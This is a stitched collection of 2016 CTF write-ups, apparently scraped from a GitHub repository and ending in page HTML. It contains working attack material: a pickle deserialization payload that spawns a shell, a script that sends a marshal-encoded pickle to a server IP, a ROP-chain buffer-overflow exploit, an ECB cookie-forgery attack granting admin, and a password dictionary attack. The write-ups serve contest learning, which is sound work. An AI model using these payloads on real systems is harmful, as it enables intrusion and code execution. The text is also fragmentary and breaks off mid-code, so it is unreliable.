```cossystem(S'/bin/sh'tR.```This will cause pickle to start a shell following these steps:
1. `c` is reached, then read `os` as the module and `system` as the object, so it pushes `os.system` onto the stack2. The `(` marker is pushed onto the stack3. `S` is reached, so it reads `'/bin/sh'` as a string and pushes it onto the stack4. Reading in the `t`, it pops `'/bin/sh'` off the stack, puts it in a tuple, and pushes the tuple back onto the stack5. Finally, the `R` is reached, so it pops `('/bin/sh')` and `os.system` off the stack, and calls `os.system('/bin/sh')`
## Running Our Own Code
While the above works for making simple calls, arbitrary code can't be pickled in the same way. However, thanks to a python library called marshal, a custom function can be serialized and sent to the server, where pickle can use marshal to deserialize and call it.
Any function can be serialized as a base64 string using marshal like so:```pythondef func(): print "Hello World!"
print base64.b64encode(marshal.dumps(func.func_code))```
Which results in something like:
```YwAAAAAAAAAAAQAAAEMAAABzCQAAAGQBAEdIZAAAUygCAAAATnMMAAAASGVsbG8gV29ybGQhKAAAAAAoAAAAACgAAAAAKAAAAABzNQAAAEM6L1VzZXJzL2thcmVlXzAwMC9QeWNoYXJtUHJvamVjdHMvMzJDMyAyMDE1L2d1cmtlLnB5dAQAAABmdW5jCAAAAHMCAAAAAAE=```
This allows us to change func() to anything we want, and have it serialized the same way
The base64 string then has to be deserialized and called by pickle, using only a series of function calls. This can be done like so:
```python(types.FunctionType(marshal.loads(base64.b64decode('YwAAAAAAAAAAAQAA....')), globals(), ''))()```
Which then translates to a pickle string that can be easily sent to the server as:
```ctypesFunctionType(cmarshalloads(cbase64b64decode(S'YwAAAAAAAAAAAQAA....'tRtRc__builtin__globals(tRS''tR(tR.```
Using this as a template, I wrote a script to send a pickled function to the server that would print out the flag. (**NOTE:** Printing to stdout didn't seem to be working, so the code being sent prints to stderr)
```pythonimport base64import marshalimport requests
# This function will be serialized and sent to the server,# then pickle will deserialize and call itdef func(): import sys
# Printing to stdout doesn't work, so this prints to stderr def p(m): print >> sys.stderr, m
# Use p() to print stuff p("TEST")
# When this function is called, we will be inside the pickle module, # so to print the flag it has to be accessed from __main__ import __main__ p(__main__.flag.flag)
# Wizardry to get pickle to execute the above function on the serverpckl = "ctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'%s'\ntRtRc__builtin__\nglobals\n(tRS''\ntR(tR." % base64.b64encode(marshal.dumps(func.func_code))r = requests.post('http://136.243.194.43', pckl) # Send the pickleprint r.text
```
Then running the above code, the flag is printed out:```32c3_rooDahPaeR3JaibahYeigoong```
If you're interested in reading more about code execution with pickle, check out [this article](https://www.cs.uic.edu/~s/musings/pickle.html), and [this paper](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf) |
--------------------------------------[Python Exploitation] Secret Accounts - 80 points--------------------------------------
> Through many months of sniffing, we discovered a server running a software which the Club uses to manage information about secret bank accounts abroad. We even obtained its source code. We need to obtain access to the system in order to discover the real name of the owner of the account possessing the greater amount of money, in which bank it is, and the real amount. As you might expect, it seems that the Club has hunkered down to assert only authorized people, which really know what they are doing, are able to operate this system and to interpret information provided by it. Rumors exist that the Mentor himself manages it, as amazing as it may seem (he is old but not deciduous!).
> You will need good “python-fu” to win this challenge!
> Submit the flag in the following format: CTF-BR{info1_info2_info3}.
> Hint: Who is Fideleeto (Cuba!) in real life? Take this into account. :)
In this task we were given an obfuscated Python script and a server running it. Unfortunately I do no longer have theoriginal code, because I was deobfuscating it overwriting the file each time. It had a lot of octal numbers, some additions and multiplications just to hide the constants and so on.
We had to input password. Connecting the dots, we guessed that `master` (variable name) corresponds to description text'sFideleeto, and birthyear is 1926, as per Wikipedia. We added some z's because the source code asked us for it.
After a couple of seconds, we were logged in. We were asked for option 1-4, but in reality our input was subtracted,multiplied and generally messed with, so we simply brute forced the needed numbers. When we chose correct number, we were presented with a menu. The most interesting part of it was that our text was inputted via `input()`. SincePython's `input()` is equivalent to `eval(raw_input())`, we had arbitrary code execution. We used it to write the filewith flag to stdout. Full exploit code is available in `doit.py`. |
```python# ____ _____ ____ _ _ ____ _____ _____ ___ _ _____ #/ ___|| ____/ ___| | | | _ \| ____| | ___|_ _| | | ____|#\___ \| _|| | | | | | |_) | _| | |_ | || | | _| # ___) | |__| |___| |_| | _ <| |___ | _| | || |___| |___ #|____/|_____\____|\___/|_| \_\_____| |_| |___|_____|_____|# # ____ _____ _ ____ _____ ____ #| _ \| ____| / \ | _ \| ____| _ \ #| |_) | _| / _ \ | | | | _| | |_) |#| _ <| |___ / ___ \| |_| | |___| _ < #|_| \_\_____/_/ \_\____/|_____|_| \_\#
# _ _ _ _ # ___ ___ | |_ _| |_(_) ___ _ __ | |__ _ _ # / __|/ _ \| | | | | __| |/ _ \| '_ \ | '_ \| | | |# \__ \ (_) | | |_| | |_| | (_) | | | | | |_) | |_| |# |___/\___/|_|\__,_|\__|_|\___/|_| |_| |_.__/ \__, |# |___/ # __ ___ _ ___ _ # / _|/ _ \__ _| |_ _ __ / _ \| |_ # | |_| | | \ \/ / __| '__| | | | __|# | _| |_| |> <| |_| | | |_| | |_ # |_| \___//_/\_\\__|_| \___/ \__|#
# ssh [email protected] -p 55552 # password is chall
from pwn import *rop_chain = [0x8048e74, 0x80483ad, 0x80c296a, 0x080eff60, 0x804fac0, 0x80481d1, 0x080eff60, 0x804e820, 0x80481d1, 0xdeadbeef, 0xdeadbeef]with open('attack','wb') as f: f.write('X'*4124) f.write(''.join(p32(a) for a in rop_chain))
# Run the attack using the following:# cd $(mktemp -d)# # somehow get the attack file (generated by running above code) into that directory; i used scp from my system# ln -s /home/chall/flag arena.c# mkfifo attackfifo# cat attack > attackfifo | ~/pwn attackfifo
# Explanation:## The fifo has 0 size, so will not cause problems, allowing buffer to overflow after 4124 bytes.# Then we just make a rop chain# The "arena.c" string is in the binary, so we use it# safespot-content-location is just some large location in .bss found using `objdump -x pwn | grep bss`
# Rop chain:# # 0x8048e74 <save_in_buffer># 0x80483ad <pop-pop-ret># 0x80c296a <"arena.c"> # symlink arena.c to flag# 0x080eff60 <safespot-content-location># # 0x804fac0 <puts># 0x80481d1 <pop-ret># 0x080eff60 <safespot-content-location># # 0x804e820 <exit># 0x80481d1 <pop-ret># 0xdeadbeef <exit-code># # 0xdeadbeef <just-for-fun> # actually, this is important (though not essential), but i am not telling you why :P it revolves around the clobbering mechanism in this executable``` |
## Matryoshka (Crackme, 50+100+300+500)
This task was a crackme, which given correct password, spits out the next stage (base64-encoded).Let's start with the first one.
## Stage 1
Running the binary normally, we get the usage information:```$ ./stage1.binUsage: ./stage1.bin <pass>$ ./stage1.bin testTry again...```Hmm, let's trace the binary to see which libraries it calls:```$ ltrace ./stage1.bin testPass__libc_start_main(0x40064d, 2, 0x7ffc81da72a8, 0x4007a0 <unfinished ...>strcmp("testPass", "Much_secure__So_safe__Wow") = 39fwrite("Try again...\n", 1, 13, 0x7fd915fba740Try again...) = 13+++ exited (status 1) +++```We see it compares our input against constant. Running `./stage1.bin Much_secure__So_safe__Wow` gives us the nextstage.
## Stage 2
This time we are out of luck: tracing the binary doesn't help. We need to disassemble the binary.Looking at the code, we see it consists of about 15 comparisons, such as:```0x004007b0 mov rax, qword [rbp - local_30h]0x004007b4 add rax, 80x004007b8 mov rax, qword [rax] ; rax=pass0x004007bb movzx eax, byte [rax] ; rax=pass[0]0x004007be movsx eax, al0x004007c1 lea edx, [rax + 0x10] ; edx=pass[0]+0x100x004007c4 mov rax, qword [rbp - local_30h]0x004007c8 add rax, 80x004007cc mov rax, qword [rax] ; rax=pass0x004007cf add rax, 60x004007d3 movzx eax, byte [rax] ; rax=pass[6]0x004007d6 movsx eax, al0x004007d9 sub eax, 0x10 ; rax-=0x100x004007dc cmp edx, eax0x004007de je 0x4007e7 ;[2]0x004007e0 mov dword [rbp - local_14h], 00x004007e7 mov rax, qword [rbp - local_30h]```This particular comparison can be stated as `pass[0]+0x10=pass[6]-0x10`. I stepped through the whole binary andkeeped track of all the equations:```b[0]='P'2*b[3]=200 <=> b[3]=100 <=> b[3]='d'b[0]+0x10=b[6]-0x10 <=> b[6]='p'b[5]=0x5f <=> b[5]='_'b[1]=b[7] b[1]=b[10]b[1]-0x11=b[0] <=> b[1]='a', b[7]='a', b[10]='a'b[3]=b[9] <=> b[9]='d'b[4]='i'b[2]-b[1]=0xd <=> b[2]='n'b[8]-b[7]=0xd <=> b[8]='n'
b="Pandi_panda"```We can construct a full password using those equations: `Pandi_panda`. Again, passing this phrase to the executablegives us another stage.
## Stage 3
This binary was much funnier. Instead of using normal calls and jumps, it relied on Unix signals for flow control.The original code could look something like this:```cint main(int argc, char** argv){ // Stuff, checking for length and so on skipped. int pid=getpid(); signal(SIGINT, fn1); for(int i=0;i<1024;i++){ kill(pid, SIGINT); }}
void fn1(int sig){ if(first_pass_character_is_ok){ signal(SIGINT, fn2); }}
void fn2(int sig){ if(second_pass_character_is_ok){ signal(SIGINT, fn3); }}
// And so on. The last function printed congratulations and next stage.```Each function sets SIGINT's handler to the next one if it's password character was correct. These functions werequite boring to reverse (but if needed, I could do this). Instead, I relied on `LD_PRELOAD`.
Since each character was checked on its own, isolated from the others, I could brute force each characterindividually. It turned out to be quite problematic - as these functions were returning `void`, I couldn't knowif the character is good. I decided to replace `signal` function as well - this way, if it was called, I knew thatpassword was OK.
This is the code I wrote:```c#include <stdio.h>#include <stdlib.h>
unsigned int tab[]= { 0x4007fd,0x40085c,0x4008c7,0x400926,0x40098a, 0x4009e8,0x400a4c,0x400ab0,0x400b14,0x400b73,0x400bd7,0x400c36, 0x400c95,0x400d0c,0x400d6b,0x400dcf,0x400e2e,0x400e8d,0x400eec, 0x400f4b,0x400faa,0x40100e };char* pass=(char*)0x6040c0;void testx(int a){}
char password[50];int i;unsigned char cc;
typedef void (*sighandler_t)(int);sighandler_t signal(int signum, sighandler_t handler){ password[i]=cc; printf("%s\n", password); return testx;}
__attribute__((constructor)) void init(){ for(i=0;i |
## Catch Me if You Can (Forensics, 100points) tl;dr concact even and odd data packets and read the flag from the table
Download [usb.pcap](usb.pcap), load it into wireshark. There is some data being sent(I don't know what is actually going on, you can tell me, I'd love to find out :).
`Leftover Captue Data` hold the raw data we want, filter the packets and the export them in order.
There are 22 files, `file` and `du` commands are extremly helpful here:
![alt](scr1.png)
2 beginnings and 2 cut-offs, so we are now 99% sure that there are only 2 files being sent and maybe they are in order?
After noticing some intersecting texts and images that connect for example, `1-3-5` we try concacting odd files and even files together.
We're left with [even.ods](even.ods) and [odd.ods](odd.ods)
odd.ods has an interesting table in it:![alt](scr2.png)
It looks like a lookup table, so now we have to find the second half of the message.
After unpacking odd.ods we spot an interesting hex string in `content.xml`: `g6d5g5f2b6g5d3e4d4b3c5b6k2j5j5g4l2`
If we now use it with the lookup table we get: `ndh[wh3re1sw@lly]`
Bingo!
* Fun fact, the hex string is actually in the spreadsheet in the bottom right corner ;)
|
#NDH Quals CTF 2016 : Trololo
**Category:** Forensic **Points:** 100 **Solves:** 83
> Description : A computer belonging to a new company has been infected by a malware. This is a known version of a cryptolocker software, that uses a irc server to received commands. Let's try to grab its password...
##Write-up
We begin this challenge with a [pcap](https://github.com/hexpresso/WU-2016/blob/master/nuit-du-hack-ctf-quals-2016/forensic/Trololo/trololo.pcap). First thing done, we opened this pcap with wireshark and then checked the protocol hierarchy `Wireshark > Statistics > Protocol Hierarchy`. We saw that 99% of the traffic where RTP, there are also some ICMP and HTTP too. So, let's see if we have any HTTP Object inside this pcap `Wireshark > File > Export Objects > HTTP`. Nice, we have a [config.enc](https://github.com/hexpresso/WU-2016/blob/master/nuit-du-hack-ctf-quals-2016/forensic/Trololo/config.enc) file.
```$ file config.enc config.enc: Non-ISO extended-ASCII text, with very long lines, with NEL line terminators```
With the description, we know the company have been infected with a malware, the config.enc is probably encrypted. We started to analyse it and to look for a key or any other element in some packet. One of our test on the analyse with [xortool](https://github.com/hellman/xortool) where nice.
```$ xortool config.enc The most probable key lengths: 1: 82.9% 58: 9.2% 64: 7.9%```Let's try with the most frequent char to help xortool:```$ xortool -l 1 -c 20 config.enc 1 possible key(s) of length 1:\xffFound 1 plaintexts with 95.0%+ printable characters```
Bingo, we got an xml file [O.out](https://github.com/hexpresso/WU-2016/blob/master/nuit-du-hack-ctf-quals-2016/forensic/Trololo/O.out) generated in xortool_out:
**Flag:** orudeujieh6oonge4She
[NotFound](https://twitter.com/Notfound404__) [zbetcheckin](https://twitter.com/zbetcheckin) |
------------------------[Steganography] d3lc1d10 - 25 points------------------------
> We found an abandoned file on an old Club’s server. Our informant said it was possible to extract a phone ( XXXX XXXX ) number from it. Get the number and find out the address that he belongs.
> Note: The flag is in this format: CTF-BR{address with space and comma}
In this task we were given a small file. Hexdump on it was not very useful, but `cat`ting it showed some emoji.Admins gave hint on IRC: "esolang", so we searched for esoteric languages using emoji as code. Not much time later,we found `emojicode`. Downloading compiler and running the code, we got 8 digits as the output. Since task's descriptionasaked for address, we Googled those 8 digits and found out it was phone number of some Brazil place. We searched theirwebsite and found their location. Pasting the address as a flag we got another 25 points. |
#include <iostream>#include <string>#include <sstream>using namespace std;int main(){<span> string name;</span> cout << "Enter your name: "; getline(cin, name, '\n'); cout << "Hello " << name.data() << " :)" << endl; <span> return 0;</span> } |
# Break In 2016 - Find The Idiot
**Category:** Forensics**Points:** 100**Solves:** 90**Description:**
> Your friend Bob, is an expert penetration tester. >> He loves solving and creating puzzles. >> He is invited by Pied Diaper Inc. for some testing. >> You join him for this technical expedition. At the site, you watch >> him work for a few minutes, when he exclaims, "What an idiot!". Then,>> he looks at you with a with a playful gaze. >> Then, handing out a flash drive to you he says, "Find the idiotic user".>> Link: [Here](find-the-idiot.zip)
## Write-up
by [ParthKolekar](https://github.com/ParthKolekar)
This is a straight forward question. You are given a zip file containing theentire filesystem dumps for the users. You have to run a dictionary attack on theshadow file.
The attack reveals that user `gohan` has password `dragon1`.
The flag is `dragon1`.
## Other write-ups and resources
* <https://github.com/objEEdump/breakin/tree/master/find_the_idiot> |
#Toil33t
We are given a [web interface](http://toil33t.quals.nuitduhack.com) which lets us log in using a username, password, and email. Once we login, we are provided with a cookie such as
```939c4dcbc5c09d3aaa00469fc65bbd6b5d998eabd9fd50d71639ffd19fadaeb23164706a5409b80800d7b98a576d11546cb3b01c5a57390325c7f6a18a4183c2e601b92d49560ffcac94c6271400069e```
which presumably is our encrypted session information.
By digging into the source we can find `/session` which decrypts our cookie and reveals its contents:
```{ "email": "[email protected]", "is_admin": false, "show_ad": false, "username": "test"}```
Our goal is to set `is_admin` to true so that we can access the admin interface. The homepage states that the site uses "Rijndael + 256ROT13." Assuming that the latter part is a joke, we know that they're probably using AES (a block cipher) to encrypt the session state.
Our first step is to discover what block cipher [mode of operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation) they are using. To do this, we can register an account with the username consisting of multiple blocks of A's:
```{ "email": "", "is_admin": false, "show_ad": false, "username": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}```
Our encrypted cookie (when divided up into 16 byte blocks) looks like:
```939c4dcbc5c09d3aaa00469fc65bbd6b1cc38f6fb5e9dee5ec287a3a83bc0b391cc38f6fb5e9dee5ec287a3a83bc0b391cc38f6fb5e9dee5ec287a3a83bc0b391cc38f6fb5e9dee5ec287a3a83bc0b392c0fcba79ce825e7a3914b57b6c98395169b614fe3c354939c88a77560d746d2b456365d12077dfa8d128e9ce19ed415ce6a85d2a10b531cac21853e01224a6e```
Note that the 2nd through 5th blocks are all identical; this implies that they are using [ECB](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#ECB) mode, which means that we should be able to use a [cut-and-paste](http://cryptopals.com/sets/2/challenges/13/) attack to replace that `false` with `true`.
To do this, we need to figure out more information about the exact string being encrypted. Let's begin by computing how long the string is.
When all the fields are set to empty, the cookie is 5 blocks long which corresponds to eighty bytes. Because the string needs to be padded to a multiple of the block size, this tell us that the string is between 64 and 80 characters long. As we increase the length of our username, the number of blocks stays the same, until we hit a username of length 15, at which point we get 6 blocks.
The string, then, must be 80 - 14 = 66 bytes long. It turns out that if we remove the newlines and extraneous spaces from the output of `/session` we get a string with length exactly 66:
```{"email": "", "is_admin": false, "show_ad": false, "username": ""}```
However, the fields could be stored in a different order, since this doesn't change the length. Indeed, by changing the lengths of the email field and the username field independently, we can learn that the username field actually occurs before the email. We don't know about the relative ordering of `is_admin` and `show_ad` but lets assume for now that `show_ad` appears before `is_admin`:
```{"username": "", "show_ad": false, "is_admin": false, "email": ""}```
We'd like to construct the string:
```{"username": "", "show_ad": false, "is_admin": true, "email": ""}```but this will be difficult because the block that includes `true` includes double quotes, which are quoted-out when included in the username or the email:
```{ "email": "test\"quotes", "is_admin": false, "show_ad": false, "username": "test\"quotes"}```
To get around this, we can include enough spaces (shown using underscores) before `true` such that it ends up in its own block:
```{"username": "", "show_ad": false, "is_admin":____________true, "email": ""}```
Since JSON doesn't care about extra spaces, this will decode to the same resulting object. Other solutions that we tried all resulted in JSON-decoding errors:
```{ "error": "Invalid JSON data !"}```
We also need to include enough A's in the username field to make sure that a block boundary occurs right before the first space:
```{"username": "AA", "show_ad": false, "is_admin":____________true, "email": ""}```
Now the fourth block is the encryption of `____________true`, the first three blocks are the encryption of `{"username": "AA", "show_ad": false, "is_admin":`, and the last block is the encryption of `, "email": ""}` (plus any padding).
We can find each of these in the same way: use the characters we control in the `username` field to align these values at a block boundary. Specifically, our desired fourth block is the second ciphertext block of:
```{"username": "AAA____________true", "show_ad": false, "is_admin": false, "email": ""}```
Our desired first 3 blocks are the first three blocks of:
```{"username": "AA", "show_ad": false, "is_admin": false, "email": ""}```
and our desired ending block is the last block of:
```{"username": "AAAAAAAAAAAA", "show_ad": false, "is_admin": false, "email": ""}```
Putting them together our encrypted cookie is:
```939c4dcbc5c09d3aaa00469fc65bbd6b5d998eabd9fd50d71639ffd19fadaeb23164706a5409b80800d7b98a576d1154d53da7ab898a957599c7490d8f98a955961336e7d0c9629f12536f127cbc1297```
which yields
```{ "email": "", "is_admin": true, "show_ad": false, "username": "AA"}```
Going back to the homepage and clicking on the Admin Interface button reveals the flag to be `NDH{22cf96f723f08382606119fe574953b9}`. |
## lily.flac (misc, 2 points, 28 solves) more than just a few bleebs ;)
In this task we were given a FLAC file containg a, somewhat weird, music. Looking at itin Audacity, we noticed that there is a very different spectrum in the beginning and end ofthe file - so there was probably some data hidden. We converted the file to wav, since it's easier to work with uncompressed data.
Looking at the first couple of hundred of bytes, we notice there are a lot of 0x80 and 0x7fbytes. In 8-bit wav, they mean a very quiet sound, but since we suspected the file to containhidden binary data, we thought they would mean 0x00 and 0xFF bytes, respectively - as though they got xored with 0x80 (in the hindsight, it seems to be just the fact that wav files contain*signed* data, which shifts all the values by aforementioned 0x80).
Xoring the wav with 0x80, we found that the first bytes of sound data are now: `\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00` - an ELF! We stripped wav header from the file andran the ELF, which in turn gave us the flag. |
We received a invest.pcapng file which contains a schematic, encrypted files and a binary chain. Once the binary chain was passed in the schematic we obtained a password to decrypt with OpenSSL the files. The resulting file is a Word document with the Flag inside. |
The microwave application is used to let your microwave tweets you favorite food.We identified two vulnerabilities in the binary: a string format and a buffer overflow.The string format allowed us to leak the canary and some addresses of the libc. Thosewere then used to exploit the buffer overflow and access the flag. |
We got a pcap, the problem was obvious from the challenge name(heartbleed). Given the RSA-2048 pubkey we sought for prime numbers ofaround 1024 bits in the pcaps, then reconstructed the private key andused it to decrypt the encrypted part of the session, which containedthe flag. |
<html lang="en"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars0.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars1.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars2.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars3.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/">
<link crossorigin="anonymous" media="all" integrity="sha512-FG+rXqMOivrAjdEQE7tO4BwM1poGmg70hJFTlNSxjX87grtrZ6UnPR8NkzwUHlQEGviu9XuRYeO8zH9YwvZhdg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-146fab5ea30e8afac08dd11013bb4ee0.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-iXrV/b4ypc1nr10b3Giikqff+qAx5osQ0yJRxHRDd8mKFefdMtEZ0Sxs1QysJxuJBayOKThjsuMjynwBJQq0aw==" rel="stylesheet" href="https://github.githubassets.com/assets/site-897ad5fdbe32a5cd67af5d1bdc68a292.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-whtr9xYX7utnpWsNSLW7XLm7eJONfryMwfwxIH2SpIRKCZbx4aryDfn/HGMFI5Fee7dogmqmtqvPPh13+2HW2Q==" rel="stylesheet" href="https://github.githubassets.com/assets/github-c21b6bf71617eeeb67a56b0d48b5bb5c.css" />
<meta name="viewport" content="width=device-width"> <title>write-ups-2016/README.md at pwn2win-ctf-2016 · epicleet/write-ups-2016 · GitHub</title> <meta name="description" content="Wiki-like CTF write-ups repository, maintained by the community. 2016 - epicleet/write-ups-2016"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528">
<meta name="twitter:image:src" content="https://avatars2.githubusercontent.com/u/18104388?s=400&v=4" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary" /><meta name="twitter:title" content="epicleet/write-ups-2016" /><meta name="twitter:description" content="Wiki-like CTF write-ups repository, maintained by the community. 2016 - epicleet/write-ups-2016" /> <meta property="og:image" content="https://avatars2.githubusercontent.com/u/18104388?s=400&v=4" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="epicleet/write-ups-2016" /><meta property="og:url" content="https://github.com/epicleet/write-ups-2016" /><meta property="og:description" content="Wiki-like CTF write-ups repository, maintained by the community. 2016 - epicleet/write-ups-2016" />
<link rel="assets" href="https://github.githubassets.com/">
<meta name="request-id" content="EC43:2E181:233CC70:337DF95:5E8A05A9" data-pjax-transient="true"/><meta name="html-safe-nonce" content="d95dcd8359c9fce220e62409a212be661cf92bf5" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFQzQzOjJFMTgxOjIzM0NDNzA6MzM3REY5NTo1RThBMDVBOSIsInZpc2l0b3JfaWQiOiI2MDExMTI2NzIwMjg2NTU3NjA5IiwicmVnaW9uX2VkZ2UiOiJhbXMiLCJyZWdpb25fcmVuZGVyIjoiYW1zIn0=" data-pjax-transient="true"/><meta name="visitor-hmac" content="b6896f939fec8f9960dca3b5a6ddd256ecb3de2715d668618a2891d09f8545f1" data-pjax-transient="true"/>
<meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" />
<meta name="selected-link" value="repo_source" data-pjax-transient>
<meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc">
<meta name="octolytics-host" content="collector.githubapp.com" /><meta name="octolytics-app-id" content="github" /><meta name="octolytics-event-url" content="https://collector.githubapp.com/github-external/browser_event" /><meta name="octolytics-dimension-ga_id" content="" class="js-octo-ga-id" /><meta name="analytics-location" content="/<user-name>/<repo-name>/blob/show" data-pjax-transient="true" />
<meta name="google-analytics" content="UA-3769691-2">
<meta class="js-ga-set" name="dimension1" content="Logged Out">
<meta name="hostname" content="github.com"> <meta name="user-login" content="">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="MARKETPLACE_FEATURED_BLOG_POSTS,MARKETPLACE_INVOICED_BILLING,MARKETPLACE_SOCIAL_PROOF_CUSTOMERS,MARKETPLACE_TRENDING_SOCIAL_PROOF,MARKETPLACE_RECOMMENDATIONS,MARKETPLACE_PENDING_INSTALLATIONS,RELATED_ISSUES">
<meta http-equiv="x-pjax-version" content="80ebc3286fe9d88acaddc1320106dfc2">
<link href="https://github.com/epicleet/write-ups-2016/commits/pwn2win-ctf-2016.atom" rel="alternate" title="Recent Commits to write-ups-2016:pwn2win-ctf-2016" type="application/atom+xml">
<meta name="go-import" content="github.com/epicleet/write-ups-2016 git https://github.com/epicleet/write-ups-2016.git">
<meta name="octolytics-dimension-user_id" content="18104388" /><meta name="octolytics-dimension-user_login" content="epicleet" /><meta name="octolytics-dimension-repository_id" content="54845624" /><meta name="octolytics-dimension-repository_nwo" content="epicleet/write-ups-2016" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="true" /><meta name="octolytics-dimension-repository_parent_id" content="48103176" /><meta name="octolytics-dimension-repository_parent_nwo" content="ctfs/write-ups-2016" /><meta name="octolytics-dimension-repository_network_root_id" content="48103176" /><meta name="octolytics-dimension-repository_network_root_nwo" content="ctfs/write-ups-2016" /><meta name="octolytics-dimension-repository_explore_github_marketplace_ci_cta_shown" content="false" />
<link rel="canonical" href="https://github.com/epicleet/write-ups-2016/blob/pwn2win-ctf-2016/pwn2win-ctf-2016/reverse/suspect-router-100/README.md" data-pjax-transient>
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327">
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive page-blob">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span> </span>
<header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-lg d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" class="octicon octicon-mark-github text-white" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg>
<div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> <svg class="octicon octicon-repo-forked" viewBox="0 0 10 16" version="1.1" width="10" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1a1.993 1.993 0 00-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 002 1a1.993 1.993 0 00-1 3.72V6.5l3 3v1.78A1.993 1.993 0 005 15a1.993 1.993 0 001-3.72V9.5l3-3V4.72A1.993 1.993 0 008 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"></path></svg> epicleet / write-ups-2016
</div>
<div class="d-flex flex-items-center"> Sign up
<button class="btn-link d-lg-none mt-1 js-details-target" type="button" aria-label="Toggle navigation" aria-expanded="false"> <svg height="24" class="octicon octicon-three-bars text-white" viewBox="0 0 12 16" version="1.1" width="18" aria-hidden="true"><path fill-rule="evenodd" d="M11.41 9H.59C0 9 0 8.59 0 8c0-.59 0-1 .59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zm0-4H.59C0 5 0 4.59 0 4c0-.59 0-1 .59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zM.59 11H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1H.59C0 13 0 12.59 0 12c0-.59 0-1 .59-1z"></path></svg> </button> </div> </div>
